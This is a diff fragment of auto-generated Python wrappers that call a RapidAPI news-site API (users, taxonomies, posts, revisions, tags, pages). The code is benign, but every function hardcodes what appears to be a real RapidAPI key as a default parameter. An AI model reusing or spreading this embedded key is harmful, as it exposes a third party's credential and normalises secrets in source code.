+ id: Id of object
405
+ context: Scope under which the request is made; determines fields present in response.
406
+
407
+ """
408
+ url = f"https://the-south-asian-express.p.rapidapi.com/users/{is_id}"
409
+ querystring = {}
410
+ if context:
411
+ querystring['context'] = context
412
+
413
+ headers = {
414
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
415
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
416
+ }
417
+
418
+
419
+ response = requests.get(url, headers=headers, params=querystring)
420
+ try:
421
+ observation = response.json()
422
+ except:
423
+ observation = response.text
424
+ return observation
425
+
426
+ def get_taxonomies_id_b2a5d5a0_3692_43aa_ae85_624855b4cde8(is_id: str, context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
427
+ """
428
+ "Get Single Taxonomy"
429
+ id: Id of object
430
+ context: Scope under which the request is made; determines fields present in response.
431
+
432
+ """
433
+ url = f"https://the-south-asian-express.p.rapidapi.com/taxonomies/{is_id}"
434
+ querystring = {}
435
+ if context:
436
+ querystring['context'] = context
437
+
438
+ headers = {
439
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
440
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
441
+ }
442
+
443
+
444
+ response = requests.get(url, headers=headers, params=querystring)
445
+ try:
446
+ observation = response.json()
447
+ except:
448
+ observation = response.text
449
+ return observation
450
+
451
+ def get_posts_2504660f_8ad6_4815_86e0_312cc593fe26(context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
452
+ """
453
+ "Scope under which the request is made; determines fields present in response."
454
+ context: Scope under which the request is made; determines fields present in response.
455
+
456
+ """
457
+ url = f"https://the-south-asian-express.p.rapidapi.com/posts"
458
+ querystring = {}
459
+ if context:
460
+ querystring['context'] = context
461
+
462
+ headers = {
463
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
464
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
465
+ }
466
+
467
+
468
+ response = requests.get(url, headers=headers, params=querystring)
469
+ try:
470
+ observation = response.json()
471
+ except:
472
+ observation = response.text
473
+ return observation
474
+
475
+ def get_posts_id_revisions_revisionid_2156a9ee_f3cf_44f0_be60_37fbeb2d9b95(revisionid: str, is_id: str, context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
476
+ """
477
+ "Get single post revisions"
478
+ revisionid: Id of revision
479
+ id: Id of object
480
+ context: Scope under which the request is made; determines fields present in response.
481
+
482
+ """
483
+ url = f"https://the-south-asian-express.p.rapidapi.com/posts/{is_id}/revisions/{revisionid}"
484
+ querystring = {}
485
+ if context:
486
+ querystring['context'] = context
487
+
488
+ headers = {
489
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
490
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
491
+ }
492
+
493
+
494
+ response = requests.get(url, headers=headers, params=querystring)
495
+ try:
496
+ observation = response.json()
497
+ except:
498
+ observation = response.text
499
+ return observation
500
+
501
+ def get_tags_id_b45ea222_6d54_4156_b9e6_5630c4edffe7(is_id: str, context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
502
+ """
503
+ "Get Single Tag"
504
+ id: Id of object
505
+ context: Scope under which the request is made; determines fields present in response.
506
+
507
+ """
508
+ url = f"https://the-south-asian-express.p.rapidapi.com/tags/{is_id}"
509
+ querystring = {}
510
+ if context:
511
+ querystring['context'] = context
512
+
513
+ headers = {
514
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
515
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
516
+ }
517
+
518
+
519
+ response = requests.get(url, headers=headers, params=querystring)
520
+ try:
521
+ observation = response.json()
522
+ except:
523
+ observation = response.text
524
+ return observation
525
+
526
+ def get_pages_fb3c1d3c_13c4_4cb5_9a4d_5dbc5e195d42(context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
527
+ """
528
+ "Scope under which the request is made; determines fields present in response."
529
+ context: Scope under which the request is made; determines fields present in response.
530
+
531
+ """
532
+ url = f"https://the-south-asian-express.p.rapidapi.com/pages"
533
+ querystring = {}
534
+ if context:
535
+ querystring['context'] = context
536
+
537
+ headers = {
538
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
539
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
540
+ }
541
+
542
+
543
+ response = requests.get(url, headers=headers, params=querystring)
544
+ try:
545
+ observation = response.json()
546
+ except:
547
+ observation = response.text
548
+ return observation
549
+